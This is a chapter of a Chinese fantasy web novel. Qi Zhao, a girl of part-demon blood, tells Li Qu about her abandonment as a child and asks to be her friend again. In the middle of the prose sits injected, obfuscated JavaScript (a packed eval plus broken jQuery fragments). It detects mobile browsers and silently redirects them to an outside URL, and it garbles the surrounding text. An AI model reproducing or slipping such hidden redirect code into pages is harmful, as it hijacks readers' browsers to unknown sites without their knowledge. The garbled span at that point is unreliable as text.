祁照有点恍惚。
与李曲相处数十载,她知道李曲对亲人、朋友很在乎,也知道李曲对人与人之间的往来有别样的追求,她喜欢最纯粹的,没有利益瓜葛的情谊。
所以在她下定决心让李曲知道自己是带有目的接近她的时候,就已经预想过李曲此生不会再看她一眼。
今日之事让李曲遇上……李曲,本就是这样一个侠肝义胆的人呀,祁照一点儿都不意外她会出手救她。
可她没想到的是,李曲竟然愿意再给她一次机会成为朋友的机会。
为什么呢?她何德何能,能让李曲破例?
祁照有点儿想不明白,但她知道,错过了今天,就真的没法跟李曲做朋友了。
只是旁边还有管事在,欲言又止。
灵器坊的管事见她们有话要谈,为两人腾出了单独的空间。灵器坊的前台,江望站在角落,见只有管事出来,问李曲人呢?得知李曲和祁照之间可能存在矛盾,现在要单独解决,想着自己手上任务的时间很充裕,就一边等李曲、一边打听起祁照是怎么回事来。
这位管事在器峰有些年岁,对祁照的事情确实知道不少:“这事儿宗门原是禁止讨论的,不过今天闹了这样一出,法不责众,说你听听也无妨。
我想你应该知道,只要是过了咱们问心路的学子,不管她来自哪里,是哪个族的,进了咱们道行宗,就是咱们道行宗的人,受咱们宗门庇护。
在宗门待久了你就会发现,其实啊,咱们宗门里头,各族混血的人族并不少,特别是有很多下放地方的管事,绝大部分都是它族混血。
混血相较于单纯的人、灵、妖、鬼、魔来说,既拥有人族的悟性,又拥有它族的天赋,其实是不受天道喜爱的。我们道行宗与什么芸芸宗啊、自然宗不一样,她们主张与天争命,我们却是顺应天时。
因此啊,功法不同,入道的初心不同,命运自然也就大相径庭。那些拜入咱们道行宗的混血学子,就算能顺利入道,没两年就会道心破碎。祁照会发生这样的事,对于她这个魔族混血来说,再正常不过。”
……
“我本该和家族里的其他人一样,将自己的伴生魔物交由家主看管,然后苦修、悟道,进入自然宗修行。但我的伴生魔物,和其他人的不一样。尽管每个魔族混血都会有伴生魔物,可家族里只有光明天生开智,它不愿意和其他人的伴生魔物困在四角宅院里。”
光明,是狗尾草的名字。此刻意识到祁照要回忆难过的往昔,它在祁照耳边延伸出须须,轻轻蹭着祁照的脸颊,以做安抚。
祁照摸了摸它,继续道:“所以我能走会跳以后,就偷偷将它带在身边,可光明是一株魔植,会产生魔气,而长时间接触魔气,神识会被侵染。
我便决定研究花草,让自己能保持清醒,但北辰洲规矩森严,想要弄到花草,就必须成为丹师。幸好我家那位在自然宗当长老的老祖宗就是丹师。”祁照苦笑一声,“也不知是幸运还是不幸,本该备受呵护的年纪,我却因为爹娘不睦,无人看护,就在光明的指路下,悄悄爬进了老祖宗留在家族的院子的后院。”
祁家是家大业大,却也因为人数众多,不是所有人都配拥有奴仆的。祁照的爹娘不是什么优秀的人才,优秀的姐姐祁旭当时还没有筑基,祁照一家在人才济济的祁家里可谓是平平无奇,非常透明。
祁家老祖慷慨,将院子一分为二,前院为家族书院,后院为药植灵田,于是本该四岁以后才启蒙的祁照,就这样悄悄的提前开蒙了。
一年后,祁旭筑基,祁照就这样被回门认脸的祁家老祖捉住了,好在她天生聪颖,洞察力强,能熟记花草习性,让老祖宗刮目相看。
老祖宗动了收祁照入门的心思,见她无人照看长得又小,怕当时检测出来的灵根不准,便让她先养一段时间身体。
如果之后检测出来的灵根合适,祁照就可以成为祁家老祖的药童,若成功入道,再收为徒。
这对于在家族里小透明的祁照爹娘而言,简直是天上掉馅饼,于是,在祁照调理身体准备检测灵根的那段时间,她难得体会到了从未感受过的父母之爱。
但灵根的检测结果让老祖宗并不满意。
因为祁照是金水火三灵根,且在金灵根的辅佐下,水灵根的能量能与火灵根的能量持平。
一般来说,多灵根只要有一个灵根粗壮,就可以让这个属性的灵根成为修炼的主体。但祁照并不符合这种以某一个灵根为主属性的修炼方式。
参考过变异灵根的结构以后,祁家老祖发现,祁照似乎是久违出现的某一种变异灵根,且不是现在主流的五大相生变异灵根:风、光、岩、雷、冰中的任何一种。
“水火相衡,金藏于暗。暗灵根者,金水为悲恐,输出为喜,主乐极生悲。”祁家老祖翻阅典籍之后,对祁家家主叹道,“这聪颖的脑子啊,可惜了。虽是变异灵根,但却是千年前就被世间放弃的暗灵根,照儿将来若想入道,只能去南中洲的道行宗碰碰运气,否则,唉……”
祁家家主便转告祁照爹娘:“祁照灵根不合适,一年后是道行宗的入宗测试,你们若舍得让祁照背井离乡,就送她去吧。”
彼时祁照爹娘还沉浸在祁照要被老祖宗收徒的喜悦之中:日后他们岂不是能沾老祖宗的光,在祁家要风得风、要雨得雨了?
这样的消息犹如惊雷,直接劈掉了祁照爹娘使奴唤婢的美梦。
“废物!真是废物!”
入睡前,祁照还在爹娘温暖的怀抱里,再醒来,却被关进了狭小的木箱。四周漆黑一片,起起伏伏,阴冷吓人,从缝隙浸透进来的水冰凉刺骨,闻着还有一股河水的腥臭味。
祁照吓哭了,她挣扎着自救,却发现打不开木箱。衣裳逐渐浸湿,慢慢地,她坐着的地方已经全部是浸透的河水,祁照不得不接受自己可能要死了的现实。
无人知晓,就在祁照几乎放弃求生之际,她贴衣携带的狗尾草忽然疯狂生长,将她结结实实地裹了起来。
不知道过了多久,祁照意识到自己没有死的时候,已经跟着姐姐在前往道行宗的路上了。
“今天是道行宗免费赠送的灵餐哦,让我们看看里面都有些什么……诶?阿照,你看,这份灵餐里有一封信。”
祁旭顺着河流在岸边找到早已昏死过去的祁照时,祁照已经失了魂,变得痴傻。她带妹妹前往道行宗的路上已经尝试过许多方法,都没有办法让妹妹恢复过来,故而对这样一封用白色细碎的小花做装饰点缀的信件,祁旭并没有抱什么希望。
她让祁照拿着小花信封,慢慢给她读里面的内容,这封信虽然字迹稚嫩,却能看出这是个胆大包天的小孩。
[昨日于山林深处偶遇山君,单挑之。吾胜,山君服朕,赠我此花。曲大喜,愿将此花转赠有缘人。
翘首以盼,静候佳音。
——李曲]
嗅到薄荷的清香,这是祁照从木箱里出来后,第一次意识到自己好像离开了北辰洲。
待信件读完,祁旭按照往常想要把今日意外收获收起来时,发现自家妹妹与以往有所不同,虽然还是呆滞,但却晓得紧拽信封、不肯松手,祁旭高兴极了,试探道:“喜欢这封信?”
祁照没回她,祁旭有些失落,而今日之后,祁照虽然不像一个正常的小孩那样能说会笑,却也知道冷暖饥饱了以祁旭对于机缘的敏锐嗅觉,她可以肯定,写这封信的人对妹妹的病情有益,便试着打听自己那日获得的灵餐的来处。
道行宗地界愿意赠送灵餐祈福的人家不少,为了保护人家的隐私,道行宗负责灵餐的人是不会泄露好心人的消息的。她们劝祁旭道:“祁道友,这事还得看缘分,若是有缘,自会相识。”
北辰洲讲究人定胜天,祁旭不相信缘分,但南中洲地界确实有些说法。
祁照许多天多次尝试打听消息都无果,直至某日,她出门出得久了,凭借本能外出觅食的祁照被好心的道行宗道友投喂一盒免费灵餐,再次开出了这位来自‘李曲’小朋友的信。
今天的信封上的装饰是一串毛茸茸的狗尾草。</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17222084|197529||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>
写信的人表示今天放牛的时候没看好牛,叫牛吃了庄家,被她家虎娘摁在田边揍了一顿,顺手拔了把狗尾草来纪念今日份挨的打。
祁旭看到目光呆滞的妹妹捧着信笑了。
这天以后,祁照渐渐好了起来,祁旭总算松了口气。就在她快要放心的时候,意外发现妹妹竟然将伴生魔物从祁家带了出来!这下祁旭总算知道妹妹前些日子怎么会是那副模样,她严肃对祁照道:“把它给我,我送回家去。”
“不要!”
“它会让你迷失了心智。”
“我可以配药。”祁照对姐姐撒娇道,“我以后一定会成为丹师,不会让自己出事的~”
祁旭被妹妹撒娇得没办法了:“行,我可不保证帮你瞒着家里太久……只是,你和你的小笔友早晚要见面,阿照,魔物会吓到普通人的。”
祁照认真道:“可是我们是好朋友,她早晚也会知道我是魔族混血的呀?而且我觉得李曲不会被吓到的,她还敢和老虎打架呢!”
但第一次见面的时候,祁照还是听了她姐的话,将狗尾草藏进了可以隔绝魔气的瓷瓶里。只是,没想到错过了第一次见面时可能袒露身份的机会,之后再想提,就很难了。
因为祁照看得出来,李曲是真被魔族、鬼族那些学子烦得不行,如果她知道她其实是魔族混血,会不会也……
李曲身边的人很多,想给她当朋友的更是数不过来,祁照不觉得自己有什么特殊的,只小心翼翼地维持着现在的友情。直到有一天,她爹娘突然知道,天道之子李率,是李曲的哥哥。而她,和李曲关系不错。
那对原本想要她命的爹娘,一面担心她翅膀硬了不回北辰洲,来信时好时坏,见她软硬不吃就持续向她索要光明,另一面,又想借她和李曲、李率沾上边,在家主面前露脸。
祁照没法怪救过自己、还被这样子的爹娘为难不得不说一些能让他们转移注意力的姐姐,可也害怕这样疯狂的爹娘会不管不顾冲到南中洲破坏她现在拥有的一切。
祁照觉着自己真是鬼迷心窍了,才会觉得爹娘为她讲述入道经验是真的想跟她和好。
或许,只有将她从家族那儿汲取过来的入道经验还给他们,和李曲没关系了,这一切才会结束吧?
修为散尽而已,最坏的结果,也不过是成为失去神智的魔物……就让她放纵一次,道行宗这么厉害,不会放任她不管的吧?
可是,李曲又一次救了她。
祁照知道,如果当时没有立刻和李曲决断,自己以后绝对说不出、也不允许自己说出那样伤害她的话了。
李曲会恨她的吧?
但,如果将来李曲知道她那些话都是骗她的,会对她愧疚的吧?毕竟那个时候,她才刚刚散了修为脑子不清醒,说出那样的话,不正常吗……这样一来,她跟温泽、郑安、阳易、涂山悦、江望……这些乱七八糟的人在李曲心里的位置,就能完全不一样了吧?
祁照好不甘心,明明她才是所有人里最早认识李曲的……
但,祁照说了她不怎么正常的爹娘、为难的姐姐、那些令人作呕的权衡利弊,最后还是没将这些小心思和不甘心说出口。
“李曲,我当然想成为你的朋友。那你呢,知道这些以后,你不觉得我自私、恶心吗?你还会允许我……”
成为你认可的知己吗?
李曲沉默了。
哪怕祁照没将允许之后的话说完,她也能猜到她想要说的是什么。
她从不知道祁照还背负了这些,她甚至不敢想象,这些年她带祁照回家玩,她当着祁照的面跟爹娘大哥撒娇任性,对祁照造成了多么大的阴影!
其实,她并没有尽到一个知己的责任,又怎么能怪祁照在走投无路之下做出了不理智的选择?
李曲觉着自己没法回答祁照,只默默别过脸,答非所问道:“我记得青霜姐姐做了织锦坊的管事好多年,凡人山管事与管事之间的差事应该大差不差,避免再出现今日之事,我替你向她递个拜帖,找时间请教请教她吧?”